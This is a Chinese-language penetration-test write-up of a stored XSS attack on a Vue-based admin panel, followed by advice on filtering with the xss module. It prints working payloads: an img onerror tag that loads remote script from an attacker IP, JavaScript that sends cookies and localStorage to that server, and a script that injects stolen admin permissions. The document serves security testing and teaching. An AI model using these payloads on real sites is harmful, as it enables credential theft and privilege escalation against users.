前段时间在进行安全测试时,发现被测系统存在XSS漏洞,于是对被测系统进行了注入攻击,通过注入脚本代码,使得普通用户可以获取超级管理员的权限。现对这次模拟注入进行记录。
XSS漏洞
漏洞介绍
XSS(cross-site script)跨站脚本攻击是一种web应用程序前端漏洞。攻击者将代码注入,用户在使用时由浏览器对漏洞代码进行解析,从而达到恶意攻击用户的特殊目的。
漏洞分类
- 反射型:攻击者将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
- 存储型:又称作持久性XSS,攻击脚本被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。当数据被浏览器访问时,被注入的代码此时就会在浏览器中进行执行。
- DOM型:DOM型XSS其实是一种特殊的反射型XSS,是一种基于DOM文档对象模型的一种漏洞。DOM节点树组成了HTML框架,利用javascript脚本可以对文档对象进行编辑,从而修改页面元素。
随着web开发技术的进步,前后端分离框架被不断的推广使用,目前的主流开发框架中,几乎已经很少见到反射型和DOM型的XSS漏洞了,下面讲到的基于实际业务模拟注入的例子是属于存储型XSS
模拟注入
场景介绍
模拟攻击的系统是一个后台管理系统。管理系统用户可以分为2种,一种是普通用户,一种是超级管理员。其中超级管理员登录系统后存在系统管理的菜单权限,普通用户无此权限。超级管理员可以通过系统管理的菜单给普通用户进行授权,分配除系统管理以外的所有菜单权限和数据权限。 期望达到的效果:通过注入脚本代码,在注入成功后,普通用户也可以使用系统管理给自己或其他用户授予权限。
场景演示
系统分析
在这个注入攻击中,攻击者需要窃取的是管理员的权限,然后将自己的权限替换为管理员权限。那么重点就是如何获取管理员的权限。通过浏览器F12观察系统,发现权限相关数据除了保存在数据库中,还以json串的形式在用户登录成功后保存在浏览器的localstorage中。 所以只需要通过注入脚本,就可以在用户不知情的情况下获取到权限数据了,具体脚本内容后面会写到。
注入流程
如图所示,注入攻击流程为找到存在漏洞的功能,注入漏洞代码A,当管理员操作了对应的功能后,触发注入脚本,脚本获取到权限数据后发送给攻击者进行存储。攻击者注入漏洞代码B,攻击者触发漏洞代码B所在的功能后,脚本将攻击者浏览器内存储的权限替换为管理员的权限,至此攻击完成。
详细步骤
寻找存在xss漏洞的功能 系统采用前后端分离的架构实现,前端使用vue框架。根据这种框架语法,在代码为v-html时,才会将代码语句按普通HTML插入,不会作为Vue模板进行编译。通过检索代码发现,对应功能为富文本编辑所在模块,具体为富文本查看内容相关的代码。
<div class="markdown-body" v-html="marked(text)"></div>
注入获取管理员权限脚本 通过页面上的编辑功能,攻击者将如下js脚本添加至系统中保存在系统数据库中,当管理员查看详情时,浏览器就会加载执行这段脚本。
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss.jx'/>
浏览器解析img标签时,图片路径错误,触发onerror函数,函数会在html dom树中添加一个script标签,该标签会加载一个远程js脚本文件,这个远程js文件在攻击者的服务器上。
console.log(document.cookie);
console.log(window.localStorage);
var data=window.localStorage;
data["cookie"]=document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("POST","http://10.10.xxx.xx:5000/v1/xss",true);
xhr.setRequestHeader("Content-Type","application/json");
xhr.send(JSON.stringify(data))
在远程js中,攻击者获取到存储在localStorage中的权限数据,调用接口使用http请求的方式将数据发送给攻击者自己的服务进行二次处理和存储,至此攻击者就已经成功获取到管理员的权限内容和结构了。 注入替换管理员权限脚本 与获取管理员权限一样,注入脚本动态添加script标签,远程加载js文件
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss2.jx'/>
远程js调用攻击者自己提供的接口服务,接口功能为从数据库中查询出管理员权限,并和攻击者自己的权限进行拼接和格式处理,因为浏览器存储的数据不光只有菜单数据,还有token和用户组织等数据,此处只合并替换菜单权限,保留攻击者自己的其余数据信息。
console.log(window.localStorage);
var data = {
"forged": window.localStorage["APP_xxx_PLATFORM_ADMIN_FROM"],
"original": "demo"
}
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://10.10.xx.xxx:5000/v1/xss/constructPermission", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(data));
xhr.onreadystatechange = function() {
console.log(xhr.responseText);
window.localStorage["APP_xxx_DIGITAL_PLATFORM_ADMIN_FROM"] = xhr.responseText;
if (window.sessionStorage["reload"] != "yes") {
window.location.reload();
window.sessionStorage["reload"] = "yes";
}
}
在接口返回构造好的权限数据后,远程js脚本将数据和攻击者当前浏览器中的数据进行替换,此时,攻击者就已经具有管理员权限了。
XSS防护
看近10年的owasp top 10,可以发现XSS漏洞几乎年年榜上有名,但在去年xss注入被统一归到了注入里。其实,随着互联网技术的发展,在几年前出现较多的xss漏洞近些年变得越来越少见。但即使随着技术发着漏洞变少了,但XSS带来的隐患还是十分巨大。不仅是例子中的窃取、伪造用户信息,XSS还可以伪造页面钓鱼,在用户不知情的情况下进行“正常”操作,这些即使时之后查审计日志也查不出问题。那么对于XSS漏洞如何防护呢? 对输入进行过滤,对输出进行编码。浏览器之所以能解析注入脚本,就是因为注入脚本中的js或html代码被浏览器解析了,浏览器认为这是正常的应该被执行的代码。那么我们的功能在保存和显示的时候就要对敏感的信息进行编码,比如<img 就要被编码为< ,这样浏览器就不会认为目标代码是标签了。 在这个例子中,使用vue框架的前端服务如何进行XSS防护呢?很简单,这里只要使用npm install xss 来安装xss模块,在显示时进行代码过滤,就可以比较有效的进行防护。
<script>
Object.defineProperty(Vue.prototype, '$xss', {
value: filterXSS
})
</script>
<div class="markdown-body" v-html="marked($xss(text))"></div>
|